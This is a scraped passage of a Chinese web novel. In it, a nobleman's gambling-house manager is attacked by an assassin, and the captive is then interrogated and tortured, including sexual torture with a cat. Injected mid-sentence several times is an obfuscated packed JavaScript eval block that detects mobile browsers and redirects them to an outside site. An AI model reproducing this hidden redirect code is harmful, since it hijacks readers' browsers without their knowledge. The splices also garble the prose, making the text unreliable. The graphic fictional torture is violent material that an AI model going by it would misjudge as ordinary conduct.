那份亲密让浣碧不禁微微撅起了嘴打了个细碎的哈欠低声自语道:“你倒是成了这屋里的金枝玉叶了.” 第二天一早林臻便醒了。 他蹬直腿伸了一个长长的懒腰只觉浑身舒畅仿佛最近几天的疲惫都被这一夜的酣睡洗涤一空。 到底是年轻的身体啊恢复力惊人。 他缓缓抽出被晴雯不经意间压得微微发麻的手臂动作中透着几分不忍与细腻。转身之际目光不经意间掠过墙角只见浣碧正倚墙小憩恬静的面容上挂着淡淡的倦意。 他起身看着她心中涌起一股暖流。 小心翼翼地将她横抱起来步伐轻柔再将她轻轻放在床上。 谁知这个时候浣碧竟然醒了她猛地睁开眼坐起身来窗外已是一片明亮日光洒满室内她顿时神色焦急:“世子!奴婢睡过头了这就伺候您穿衣洗漱。” 林臻见状语气温润如玉:“不用了你再躺一会儿时间还很早。” “哎呀不行的!”浣碧坚决地摇了摇头站起身抚平裙摆的褶皱说道:“虽说世子把奴婢收到房里但奴婢终究是丫头职责所在必须要守好本分才行。” 言罢她目光不自觉地看了看依旧睡得香甜的晴雯眼睛里说不出是羡慕还是责怪。 真是个懂事到让人心疼的好姑娘啊。 见浣碧已细心备好衣物林臻欣然 展开双臂任由那一件件精致的衣裳被温柔地套上身。 穿戴整齐后浣碧拉着他旋转了几圈眼中闪烁着满意的光芒笑道:“这才是世界上最俊的世子!嘻嘻嘻奴婢派人去传饭。” “不用你休息吧我自己去厨房吃就行。” “世子.”浣碧欲再言相劝却已被林臻按在床榻边缘坐好还顺手刮了刮她精致的鼻子语气宠溺地说道:“听话。” “嗯”浣碧的眸光轻颤终是柔顺地点了点头。 待林臻的身影消失在门扉之后浣碧脸上的温婉瞬间被一抹娇嗔取代。 她回过神来玉手轻扬狠狠一巴掌拍在晴雯的屁股蛋上。 pia~ “死妮子还不起床!昨天我可是给你赶了半宿的蚊子!” “哎呀~”晴雯慵懒地翻了个身嗓音里带着晨起的酥软:“浣碧姐姐~大不了妹妹以身相许好好伺候你一番嘛~” 言罢她一把将浣碧拉入怀中用饱满胸脯将她的脸紧紧包围住。 一股子奶灬香直往鼻孔里钻。 浣碧的脸瞬间就红了又羞又急死命挣扎:“臭晴雯你快放开我!你想憋死我呀!” 来到后厨房林臻吩咐厨娘下了碗打卤面然后蹲在门口的石阶上猛吃。 有人说这个世界上最幸福的事情就是能大口大口地吃面条以前林臻还不信现在他相信了。 一海碗的鸡蛋酱打卤面下肚浑身上下都充斥着说不出的满足吃完以后再喝上一碗面汤。 原汤化原食嘛省得吃太多损害肠胃。 林臻一边拍着肚子一边琢磨今天的行程。 马车行与赌场都已经步入正轨不说日进斗金吧但也算有了不菲收入。 张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林臻几次欲放慢脚步与月妩并肩漫步然而月妩似乎更偏爱这份微妙又恰到好处的距离感就像新婚的小媳妇那样 王府之内自有其专属的华贵马车静静地候在大门侧边。 除了这辆马车大门两侧的围墙前面还画出了很多停车位线条流畅布局合理。 这般的未雨绸缪也是为了应对日后府邸宾客盈门马车络绎不绝的盛况。 二狗和侯春一个在前一个在后护送着两人步入马车于狭小的空间内相对而坐氛围微妙。 车内月妩低垂眼脸仿佛那精致的轮廓下藏着无尽的心事不愿轻易展露于人前。而林臻则是一直看着她。 实话讲月妩很有味道她的面容中带着几分知性的光辉瘦削的身形非但未减其魅力反而如墨绘山水恰到好处地勾勒出她独有的风骨让人一眼难忘。 其实男人好色、出轨、偷情之类的多半也是喜欢晴雯这类的小绿茶。 但若论及携手共度余生林臻认为大多数男人会选择浣碧或月妩这般的女子。 她们或许没有那些浮华表象下的妖娆却胜在那份能够与之朝夕相处、细水长流的温婉坚韧。 毕竟妻子之选非一时之欢愉而是漫长岁月里的相知相守。 只是对于林臻这样身份的人来讲不管是浣碧还是月妩都不可能成为他的正房妻子。 其实林臻现在也很疑惑。 自己以后的正妻究竟会是谁呢? 难道是秦国的上官婉儿? 或者是哪位大臣家的闺女? 总不会是刘妙颜吧? 琢磨来琢磨去林臻心说只要不是司马春雷好像都行。 听说这位五大三粗身材魁梧的黑姑娘已经准备好参加选妃了说不定会因为司马忠的原因直接免试成为慕容嫣正宫之一的贵妃。 不过在原书中顾北辰替慕容嫣伺候后宫妃子时好像并没有这个女人。 难道说是顾北辰嫌她太丑在半夜的时候偷偷把她刀了? 嘶.很有可能。 林臻嘴角微扬轻轻摇了摇头驱散了脑海中那些不切实际的遐想。 自从在四条主干道绘制出车道以后不管是马车还是行人交通都方便了许多行进也愈发顺畅。 很快林 臻的马车便抵达了那座熟悉的酒楼前。 林臻身形一跃,率先跳下马车,随即转过身向月妩伸出了手掌。 月妩酒楼依旧保持着当日的模样,外观看去,岁月似乎并未在此留下太多痕迹。它朴素而真挚,宛如一位老友,静静地守候着每一个食客的到来。 月妩落地的瞬间,周围的邻里街坊们便热情地围了上来,他们的笑容如同冬日暖阳,温暖而亲切。 “哎呦月妩妹子,天天都来这么早啊!” “妹子,还没吃早饭吧?来姐姐家,新蒸的包子,热乎着呢!给你拿一个来尝尝。” “这几天怎么没看到小毛啊?是不是又当将军去了?” “这位就是世子爷了吧?” 林臻亦是以一抹温暖的笑容,挥手致意。 百姓对自己的热情是绝不能拒绝的,是王府根基稳固、声望隆盛的力量源泉,更是王府鼎力天下的资本。不能像某些人,屁大点的官就不把百姓放在眼里,迟早要自寻苦果。 月妩轻移莲步,逐一回应着百姓的友好,随后与林臻步入了酒楼之内。 进了门,三个机灵的小厮与一个圆滚滚的胖厨子正合力擦拭房梁,汗水在阳光下闪烁,显得尤为辛勤;李氏则领着乖巧的平儿在摆弄桌椅,每一动作都透露着对这份家业的珍视与对未来的美好憧憬。 见林臻进来,众人放下手里的活计,纷纷围过来作揖:“见过世子。” 林臻微微颔首,眸光中带着一抹淡然:“嗯,如果没有什么问题,明天就重新开业吧。经过廉松的事情,这间酒楼以后没有人敢来闹事了。” 月妩闻言,轻启朱唇,语带好奇:“世子不是说对酒楼另有安排吗?” “我本来是想把这里改成一间豪华酒肆,用来宣传我的新酒。但是想了想,平民百姓也需要个吃饭的地方,况且此处装潢与氛围恰与你的性情相得益彰,所以,还是算了吧。” 月妩的脸颊轻轻掠过一抹欣喜。 她内心深处实是舍不得改变眼前这一切的。 因为这间酒楼承载的不仅仅是她多年心血,还有诸多的故事。 百姓与过往商旅皆对这儿情有独钟,不仅因为饭菜美味与价格公道,更是因为温婉如水的月妩,以满腔热忱迎接着每一位踏入门槛的客人。 无论是衣着光鲜的商贾、质朴敦厚的百姓,还是衣衫褴褛的乞丐,在她的眼中,皆无分别,皆能感受到同样的温暖与尊重。 月妩深爱着这片小小天地,这份简单而真挚的生活 。 于是林臻而言,不过一间豪华酒楼而已,哪里都能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林臻说道:“前段时间太忙了,晚上来我房里吧,我细细不对,我粗粗长长的告诉你。” “嗯。”月妩抿着嘴点头。都是大姑娘了,林臻什么意思她很明白。 却没想到,这个时候,阿文突然跑了进来。 他神色慌张,大汗淋漓。 “世子!可找到你了!” “您快去赌场看看,有刺客在赌场里要暗杀老板!” 第155章 过来!跪下! 林臻一听这话当即就炸了毛,眉头紧锁,眼睛好像要喷出火来。 他猛地揪住阿文的衣领,大声咆哮道:“张俪可有闪失? 阿文慌忙摆手:“没有,没有,老板她只是晕了过去,没有惊扰到其他客人。虎贲营的兄弟已经把刺客擒住了,只是他们做不了主,让我来赶紧找您。 林臻松开他,二话没说,抬脚向外狂奔。 时间回到一个时辰前。 赌场如一座不眠之城,十二时辰灯火通明,即便宵禁以后也仅仅是关上门不接新客而已,内部依旧灯火璀璨,人声鼎沸,赌徒们的欢呼与叹息交织,此起彼伏。 张俪早上起来,慵懒地唤来贴身丫鬟为自己梳妆打扮。 闫菲闫苗身着鲜艳如火的长裙,宛如两朵盛开的红莲,手捧琳琅满目的早餐步入闺房。 在三女细腻而熟练的服侍下,张俪吃完早餐,装扮完毕,最终以一种从容不迫的姿态,缓缓下楼。 每日清晨,立于楼梯之上俯瞰赌场内的喧嚣,是张俪不变的仪式感。她钟爱此景,仿佛有魔力一般,百看不厌。今日亦不例外,她先是静静地在高处凝视,那下方,是一幕幕人性的缩影,是欲望与梦想的碰撞,是欢笑与泪水的交织。 张俪先是悠然自得地在底层大厅巡视一圈,然后找来小五问二楼私密包厢里的情况。 哪位官员家的公子选了哪个姑娘当陪玩,晚上有没有发生什么风雅的事情,那些富商家里的富二代有没有其他的吩咐等等。 待这些琐碎的事务处理完毕,张俪便温柔地抱起她收养的那只灰色狸猫,踏着轻盈的步伐,穿梭于熙熙攘攘的赌场人群,来到大厅最南端——那里隐藏着一间另类的书房。 这所谓的书房,实则更似一间私密的办公室,与三楼那间繁忙有序的书房不同。此处未见传统书桌的身影,取而代之的是一套雕工精细的红木桌椅,椅上铺着柔软的坐垫,透露出几分闲适与尊贵。桌椅两侧,各立一尊形态狰狞、威严毕露的貔貅香炉,炉中轻烟袅袅升起,缭绕间带有一丝难以言喻的神秘与庄重。 张俪抱着猫坐在最中央,浑身散发着不容小觑的气场。 就在这时,一名身形消瘦、遍体鳞伤的男子,在两个彪形大汉的押解下,步履蹒跚地被带了进来。 大汉毫不留情地一脚踹在他膝弯后面,迫使他无力地跪倒在地,痛苦之色溢于言表,令人观之心生怜悯。 “过来! “跪下! 瘦弱男子跪在地上,双目 含泪。 然而,面对此情此景,张俪的脸上却只是掠过一抹淡淡的、近乎冷漠的神色,仿佛这一切都与她无关,只是日常中微不足道的一幕。 因为这类人压根儿就不值得同情。可以说敢跟赌场借钱的人,没有一个值得同情的,他们被打死都是活该。 在赌场里混了这么多年,张俪早就见怪不怪,心如止水了。 只是这个人倒是个硬骨头,打了三天都不说自己家人在哪,所以张俪才饶有兴趣地来看看他。 她轻柔地顺着小猫的毛发,说道:“什么时候还钱啊?” “张老板求求您,再宽限我几天吧!”那人跪在地上,双手紧握成拳,眼中满是哀求。 张俪的话语中带着几分戏谑,几分冷厉:“第一次我宽限你三天,后来又宽限你两天,总不能一直这么宽限下去吧?要不拿你的老婆孩子来抵?” 那人声嘶力竭,近乎绝望:“不!不要,张老板,求求您,再给我一天时间!我就是去偷去抢,也一定还上钱!求求你不要搞我老婆孩子!” “呵。”张俪嘴角勾起一抹冷笑,从怀里掏出香喷喷的纸,上面密密麻麻写着很多娟秀的小字,随后轻描淡写地拍在面前的茶几上:“口说无凭,来吧,立下字据。” 男人见状,恐惧如潮水般袭来,令他全身止不住地颤抖。他小心翼翼地爬行至茶几旁,颤抖的手指轻轻拾起那张纸,目光落在纸上,瞬间瞪大了眼睛:“张老板,我分明只欠您一百五十两银子,这上面怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刺客生平首次遭遇如此屈辱,怒火中烧之下,他单手铁钳般扼住了张俪的咽喉,声音因愤怒而颤抖:“别过来!否则我就弄死她! 虎贲营的勇士们闻言,脚步一顿。 因为曹雄不在,所以任副统领的张大彪便指着刺客说道:“小子,你是什么人?为何行刺我们赌场老板? 刺客心中只想着如何脱身,对于张大彪的质问,他无心纠缠,只是冷冷地吐出几个字:“少废话,放我们走,否则我们就同归于尽! “放你走是不可能的,但你若把我们老板放下,爷爷或许可以赏你个痛快!否则,我就让你生不如死! “哈哈哈哈,我生不如死?你也太小看我们天道中人了,我明白告诉你,小爷我忍了这么多天的酷刑,就为了这个机会!我是绝不会放过张俪的,你若不想让她死,就立刻让开! 张大彪突然也不跟他废话了,只对这空气大吼了一声:“小孟,看你的了! 这一喝,犹如惊雷,让那刺客心头猛地一颤,不由自主地转身望去。然而,身后除了斑驳的墙壁,再无他物,空荡得令人心悸;身前,则是围成一圈、双臂抱胸、冷眼旁观的虎贲营将士,无一人有丝毫异动。 尽管四周未见丝毫可疑之处,刺客的心中却莫名地升起了一股难以言喻的危机感,仿佛暗处有双眼睛正冷冷地注视着他。 就在这微妙至极的刹那,刺客忽觉后脑勺传来一阵钝痛。 砰—— “唔恰在此时,三楼屋顶的阴影中缓缓探出一张年轻的脸庞,他嘴角挂着狡黠的笑意,轻轻晃动手中的弹弓,朝楼下的张大彪眨了眨眼,笑道:“彪哥,晚饭加个鸡腿! “哈哈哈哈,好小子,有你的!晚上让老板给你炖整只的鸡!张大彪爽朗大笑,大手一挥,士兵们立刻行动先是将刺客牢牢捆住,而张俪则被他们小心翼翼地抬回卧房。 一路上,士兵们互相打趣,欢声笑语中夹杂着几分对今日小插曲的轻松调侃。 “这个虎逼,敢来我们虎贲营的地盘上行刺,吃拧了吧? “他奶奶的,全华夏的人都知道我们虎贲营以防守著称,他还敢来? “要真让他把老板带走,我们老哥几个的脸就丢尽了。 “唉,彪哥也太向着小孟了,我还想在世子面前好好表现一下呢。 张大彪没好气地在说话的那人屁 股上踹了一脚:“你他妈还敢蛐蛐我!亏得那刺客接到的指令是绑票而非暗杀不然咱们可就惹下大祸了!从今往后老板身边必须寸步不离地跟着人谁敢疏忽懈怠 林臻抵达之时面色阴沉得仿佛能滴出水来连一向大胆的小五都不由自主的双腿发软噤若寒蝉不敢轻易上前打扰。 他直奔三楼书房。 此刻张俪已从沉睡中苏醒正端坐于椅上接受着京城骨科圣手孙之推的悉心诊治。孙之推人称“孙神仙”其医术高超名扬四海是京城中人人敬仰的名医。 有他亲自坐镇林臻心中暗自舒了口气连忙上前恭敬地行了一礼满怀感激地说:“多谢孙神仙出手相助林臻感激不尽。” 孙之推闻言嘴角勾起一抹和煦的笑容手中的动作未曾有丝毫停顿只听得他轻声笑道:“呵呵呵世子言重了我们街里街坊的又住前后院理应相互帮助嘛。” “稍晚些林臻会亲自上门拜谢。”言毕他的目光温柔地转向了张俪。 张俪刚醒来时还未觉得有何异样但林臻身影一现她的眼眶便不由自主地泛红泪光在眼底轻轻闪烁。 往往便是如此在那些至亲之人还没出现之前我们总能把伤痕轻轻掩藏装作无足轻重。然而一旦亲人的身影映入眼帘那份隐忍已久的脆弱便如潮水般汹涌而出。 林臻见状本能地迈步向前欲将张俪拥入怀中给予她最坚实的慰藉。 孙之推却制止了他的动作语气温和却带着不容忽视的威严:“世子莫急老朽还需要些时间为张老板诊治现在不可乱动。” 林臻点点头目光随即转向了一旁的张俪关切地问道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789289|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俪儿刺客呢?” 张俪本欲抬手示意门外却被孙之推以更加沉稳的声音打断:“莫要轻动那刺客手段狠辣险些令张老板颈骨断裂此刻务必静养否则老朽也无能为力。” “世子那刺客在”此时张大彪在林臻身后正欲开口禀报刺客的行踪话到嘴边却硬生生被打断。只见林臻身形一转犹如雷霆万钧一脚狠狠踹在了他的腹部力度之大令后者瞬间弯下了腰。 “我不希望再有下回。”林臻的声音冷冽如霜每一个字都像是从牙缝中挤出让人不寒而栗。 “末将明白。”张大彪低首回应眼中带着浓浓的敬畏。 “带我去见刺客我倒要看看是谁敢动我的女人。””林臻语毕步伐沉稳每一步都踏出了不容 侵犯的威严,直朝那未知的刺客所在行去。 这是林臻第一次来到赌场的地牢,一个专为那些拖欠赌债者准备的“教化”之所。 地牢之内,出乎意料的整洁,空气中未有一丝不快的异味侵扰,唯有皮鞭与棍棒交织出的沉闷节奏,在这幽暗的空间里回响。 刺客就安静地躺在其中一间监牢里,没有声响,仿佛与周遭的喧嚣隔绝,连呼吸都细若游丝。 林臻手里把玩着一块石头,扬了扬下巴,牢门被打开,张大彪深知自己有错在先,此刻显得格外积极,率先踏入了那片阴冷之地。 “弄醒。”张大彪连忙从角落里提起一只水桶,毫不迟疑泼在刺客的脸上。 “哗!” “咳咳咳!”刺客幽幽转醒,睁开眼,就看到林臻似笑非笑地蹲在自己面前,他连忙张嘴,又狠狠闭合。 然而就在这电光火石的刹那,林臻突然把手里的石头塞进他嘴里。 紧接着,空气中响起了一阵令人心悸的“咔嚓”声,清晰而刺耳, 牙齿碎裂的声音传来。 林臻的手牢牢地掐着刺客的下巴,不让他有丝毫挣扎的余地,嘴角勾起一抹阴森凄厉的笑意,仿佛来自九幽之下的寒风,让人不寒而栗。 “呵,就知道你有这手。” 第157章 你TM踩着我了!! 林臻虽然不了解这个时代的刺客,但后世的电影电视剧可没少看,对此几乎是如数家珍,知道杀手在暴露的时候会咬下藏在牙齿里的毒药,只为了保守秘密。 而此前未下此狠手,不过是心中尚存一丝侥幸,想要将张俪带回去完成任务。 毕竟各行各业想要出人头地都得用业绩说话嘛 昏暗潮湿的牢房内,牙齿崩裂的声响突兀而骇人,如同幽冥中的一声叹息,令人不寒而栗,头皮发麻。 张大彪身形一闪已至近前,用两只刚练完铁砂掌的手指头伸进去抠了半天,直把刺客抠翻白眼干呕,也没抠出来东西,还弄得到处汤汤水水很是恶心。 林臻见状怒意勃发,脸颊通红,恨铁不成钢地骂道:“堂堂七尺男儿,连抠东西都不会?成何体统!” 张大彪缩回手指头在练功服上蹭蹭,那动作别提多恶心了,尴尬地道:“对不起世子,末将实在没经验。” “回头去燕来楼好好练练,没出息。我来!”林臻冷哼一声,语气中满是不屑。然后猛地伸出手,指尖灵巧地探入刺客紧闭的牙关之中,不过片刻,便从刺客牙缝间夹出一粒小巧的药丸。 果然是一指神功的弟子,名不虚传。 张大彪的目光紧紧锁定在林臻手中的药丸之上,瞳孔骤然放大,他惊呼道:“是极乐丹!世子,他确实是天道的人。” 林臻眉头微微一挑:“他不是早就承认自己是天道的人了么?” 张大彪神色凝重,沉声道。 “世子有所不知,江湖中杀手组织众多,彼此间亦是纷争不断。甚至他们之间为了抢生意还发现过几起骇人听闻的比斗,谁赢了谁接单,据说死伤惨重。因为天道多年来接的都是暗杀生意,信誉卓著,但这次居然改弦更张的要绑走张老板,所以末将才怀疑他的身份,如今看来,他确实是天道中人无疑。只是,天道何时沦落到连这种脏事也干了?” 言罢他瞪大牛眼,指着刺客说厉声道:“说!背后雇主是谁?为何要绑走张老板!” “哈哈哈哈!” 那刺客闻言,竟是仰天狂笑,只是他嘴里都是血,每笑一声就会喷出一口血沫子,在这昏暗阴冷的地牢之中,显得格外阴森凄厉。 收回笑容,刺客脸上浮现出一抹狰狞,目光如刀般刺向林臻,用几乎被鲜血模糊的声音,含糊而阴沉地说道:“林臻是吧?王府世子,呵呵呵惹上我们天道,你迟早死无葬身之地!” 张大彪见状再也按捺不住内心怒火,他猛地跨前,狠狠地一脚踩 在那刺客的脸上,将他整张脸踩得扭曲变形,还吐上一口浓痰:“he~tui~!不知死活的东西,还敢口出狂言!你信不信你爷爷我让你爽得连你妈都不认识!” 刺客瞪眼回应,面不改色。 但林臻的脸却绿了!! 只见他扣着刺客脸颊的手,被张大彪这个傻逼死死踩在下面,手背上还有一口浓痰! 我他妈. “你TM踩着我了!!”林臻咬牙切齿,怒目圆睁,恶狠狠地瞪着张大彪大吼。 张大彪猛地一惊,连忙将脚收回。 “哎哟,世子!世子,真是对不住,末将眼拙,没看见!” “留两个人,把这刺客给我绑到木桩上,其余的都给我滚出去!他奶奶的,一点忙帮不上净他妈添乱!这给我踩地。” 林臻揉着手指头,疼得浑身打摆子,却又不好惩罚张大彪。这群铁血男儿,行事向来直截了当,头脑简单,四肢发达,全凭一股蛮劲。 把手背狠狠在的张大彪身上蹭了蹭。 虱子多了不痒,反正练功服上也有刺客的口水,不差这口痰了。 两名虎贲营的士兵将刺客捆在粗壮的木桩上,为了保险起见,林臻特意吩咐用牛皮筋捆,这样即便他会传说中的缩骨功也挣不开。 与这群亡命之徒打交道,任何细微的疏忽都可能招致不可预知的后果,林臻自是不会轻易将自身置于险境。 留下张大彪与另一名虎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789290|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贲营士兵警戒,林臻缓缓踱步至刺客面前,目光平静如水,淡然启唇:“叫什么名字?” 刺客非常狂妄,甚至他都想朝林臻脸上啐一口唾沫。 但嘴里有石头,吐不出去,只能含糊地笑道:“呵,你爷爷我行不更名坐不改姓!天道十二仙,雷影仙子座下,癞头农冯羌!” “癞头农”林臻低声念叨,随后轻笑一声:“你这绰号有点意思啊,来来来,给我讲讲,十二仙是什么?” 林臻像搬个小板凳坐在那里听故事的孩子,张大彪一听,又欠欠儿地插嘴:“世子,末将知晓这十二仙的名号。他们乃是天道组织内部最为顶尖的十二位杀手,就连那天道宗主,也是从他们之中选出来的。” “很厉害么?”林臻的语气中带着几分玩味。 “额”张大彪迟疑了一下:“这要分怎么说,若是单打独斗,末将不如他们。但若是在战场上,凭借着阵型与战术,末将一个顶他们十个!” 林臻语气更为好奇了:“那就是很厉害喽?” 张大彪的神色变得肃穆,缓缓颔首:“确实很厉害,尤其是宗主青霞仙子,冷酷无情,杀人如麻,若想请她动一动尊驾,至少也得黄金五千两。” 谈及天道,林臻的心思不由自主地飘向了青竹那丫头。 数日未见,音讯全无,不知她此刻境况如何,心中不禁泛起一丝忧虑。 他微微蹙眉,沉思片刻后,猛然抬眼,目光死死射向冯羌:“说吧,谁让你来绑架张俪的,说出来,我给你个痛快。” “哈哈哈哈!身为王府世子,你居然对我们天道中人一无所知?想严刑逼供直接招呼就是了,你以为爷爷会怕你?”冯羌面不改色,嘴角勾起一抹不屑的笑意,甚至压低声音,带着几分戏谑道。 “看在你还没长毛的份上,爷爷我教你一招!你去找点芥末,捣碎了用醋泡好。” 林臻一愣:“干什么?” “严刑逼供第一课啊!准备好了,就顺着眼睛往里灌!最他妈给劲!” 第158章 莫不是又在想刘书瑶吧? 张大彪心底一沉暗道不好。 天道的杀手不怕受刑更不怕死世子若想从冯羌口中撬出半句真话只怕难于登天。 林臻却淡然轻笑:“呵你以为我是那些粗手粗脚的军卒啊?我是世子浑身上下干净得很才不会碰你这腌臜东西一下呢。包括他们我们都不会碰你。但是我保证我的手段一定会让你生不如死!” “哈哈哈哈就凭你这小毛孩子也想挑战爷爷?好啊我倒要看看你有什么能耐!”冯羌怒目相视眼中满是不屑与挑衅完全没有将林臻的威胁放在心上。 如果他知道林臻是从另外一个世界穿越过来的挂壁他一定会后悔的。 林臻闻言发出一阵夜猫子的叫声:“桀桀桀桀。大彪啊让后厨准备点臭鱼再从外面抓一只饿猫来。” “是!”张大彪应声而去未几林臻所需之物便已备妥。 一只毛色黑橘相间、骨瘦嶙峋的野猫在木头笼子里上蹿下跳叫声连连而且它发出的声音绝不是小奶猫的那种而是带着应激之后的凄厉透出几分凶悍! 冯羌的脸色瞬间就变了他难以置信的看着林臻浑身上下止不住的颤抖:“你!你为何知道我们天道的审讯手段!?” “桀桀桀桀!”林臻不断冷笑。 他虽然对天道不了解但是他足够了解顾北辰啊! 原书中有交代猫刑就是顾北辰从海棠手里学来的 因为海棠对天道的背叛导致天道追杀她和顾北辰过程中一名天道杀手不幸落网。 当时顾北辰就是用的这一招不到半盏茶的时间杀手便一心求死无话不说。 林臻对张大彪说道:“把臭鱼的汤汁涂在他两腿中间的要害处然后把猫放出来就行。”张大彪微愣:“世子这.真的假的?这么有效果吗?”“那当然猫的舌头上有倒刺一口一口地舔鱼汤就算是神仙也会被爽的飞起!哈哈哈哈!” 林臻转身欲走突然在张大彪的耳畔说道:“就算他招了也不能把他弄死。等审完之后把猫关起来饿上半天。然后再放出来哼敢动我的女人就必须付出代价!” 言罢林臻一挥手走了出去。 张大彪盯着林臻的背阴冷汗直冒。 幸好自己是他的属下若是敌人张大彪都不敢想象自己会有多惨! 他狞笑着走过来扒下冯羌的裤子。 很快就听到猫咪兴奋的叫声和冯羌的惨叫传来。 顾府。 自林臻那次肆意闯府,以八牛弩之威血洗白袍义从,取走青竹父母的头颅后,顾家便仿佛被乌云笼罩,日子过得是一天不如一天。 首先乃是顾家声誉受损,往昔的显赫与威望,在世人眼中逐渐褪色。顾家一系的官员们,如今变得摇摆不定,态度暧昧,对顾云霆的决策更是推三阻四,敷衍了事。 不过对顾云霆来说,不幸中的万幸是,虽然那些心怀二意的官员对顾家渐行渐远,但这帮人也并不打算去投靠林震仙。 因为林震仙不贪污、不受贿,更不讲情面。跟着他混的人,除了军方的几位大佬外,其他人死不死的他也不在乎。 跟着这样的老大,要钱没钱,要好处没好处,有什么意思呢? 除此以外,地方官对顾云霆的支持力度还是比较坚挺的,因为也只有顾云霆能瞒下他们贪污的事情,至于林震仙,那些官员们对他已是心存畏惧,能不被他亲手清算已是侥幸至极,更遑论指望他会伸出援手。 再者,顾北辰与顾云霆这对父子在慕容嫣心中的地位犹如秋日落叶,越来越低,明眼人都看得出来,这位年轻的皇帝已经开始有倾向林家的意思,这无疑给那些原本站队顾家的官员们心头笼上了一层阴霾,不知道是不是该重新站队。 最后,最让顾北辰头疼的,就是他花重金聘请的天道高手已经连续几天没有回来了。 不知道为什么,顾北辰总觉得有什么不祥的事情要发生。 如此,顾家虽处逆境,却也未至绝境,顾云霆心中自有一番筹谋,誓要在这波谲云诡之中,为顾家寻回那失去的荣光。 他全神贯注地审阅着地方官员与商贾呈上来的信函,未曾留意到一旁的儿子 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“不想最好!我告诉你,刘翰阳已经带着家眷跑路了,陛下震怒,你若敢在这个节骨眼上整事,就是天王老子也救不了你!” “我知道。”顾北辰默默地低下了头。 其实他心里对刘书瑶还是存在幻想的。 毕竟是别人的老婆,还深深爱着自己,这种得到了心却得不到身体的感觉实在复杂难言,令人难受。 但他也仅仅是幻想而已,没有了之前的冲动。林臻屡次以她为饵,设局相欺,他若再陷此泥潭,无异于自掘坟墓,再无翻身之日。 眼下最重要的是稳固顾家在朝堂上的地位,每一步都需谨小慎微,不容有失。 只要顺利等林震仙死亡,刘书瑶就是自己的。 林臻那个小垃圾根本挡不住! 念及此景,他嘴角不禁勾起一抹冷峻的笑意,恰在此时,门扉轻启,小厮的身影悄然步入, “少爷.” 小厮看到顾云霆也在这,又立刻闭上嘴巴。 第159章 天道十二仙——雷影仙子 这点微末的小把戏,岂能逃得过顾云霆的眼睛?他猛地一瞪那小厮,声如洪钟地喝道:“说!小厮被这突如其来的厉喝唬得双腿打颤,险些吓尿。 眼见顾北辰无奈地轻轻点头,这才战战兢兢,口齿不清地挤出话来:“少少爷,雷影仙子她她回来了。 “雷影仙子?顾云霆闻言,眉宇间掠过一抹错愕,随即追问道:“是什么人? 小厮脸色煞白:“奴才也也也也不知道。 顾云霆的目光愈发深邃,若再问下去非露馅不可,于是顾北辰适时地插话进来:“父亲,她不过是儿子的一个朋友罢了,您请先稍坐片刻,孩儿去去就回。 顾云霆脸上狐疑之色不减,却仍缓缓点头,沉声道:“唔,你小心点,现在陛下正盯着我们家呢,切不可再有任何差池! “孩儿明白。言罢,顾北辰走出书房,身后小厮紧步躬身相随,直至穿过那道轮廓优美的月亮门,他才猛然顿足,转身之际,一脚狠狠踹在小厮肚子上:“废物! “唔小的知错小厮踉跄几步,面露惶恐。 “你就在外面盯着,如果父亲跟过来,立刻报告! “是!小厮连连点头,不敢有丝毫怠慢。 顾北辰学聪明了,他不想让顾云霆知道自己和天道合作的事情。 毕竟天道是臭名昭著的民间杀手组织,不受任何外力约束,深受官员和商贾的痛恨,一旦让人知晓自己与他们合作,对顾家来讲不是什么好事情。 癞头农就是他聘请的天道杀手,只不过他的命令并非是杀掉张俪,而是要把张俪抓回来严刑拷问。 当初林臻是怎么知道醉仙楼财产的? 地下钱庄的事情究竟是不是她泄露的? 给自己下毒导致在皇帝面前颜面尽失到底和他有没有关系? 甚至是.刘书瑶到底病得如何? 诸多问题都需要在这个女人身上得到答案,所以顾北辰暂时不会派人暗杀她。 而且对他来讲,就这么杀掉这个女人简直太便宜她了,胆敢背叛顾家,就必须要承受生不如死的后果。 来到自己院落,顾北辰站在门前逗留了几秒。 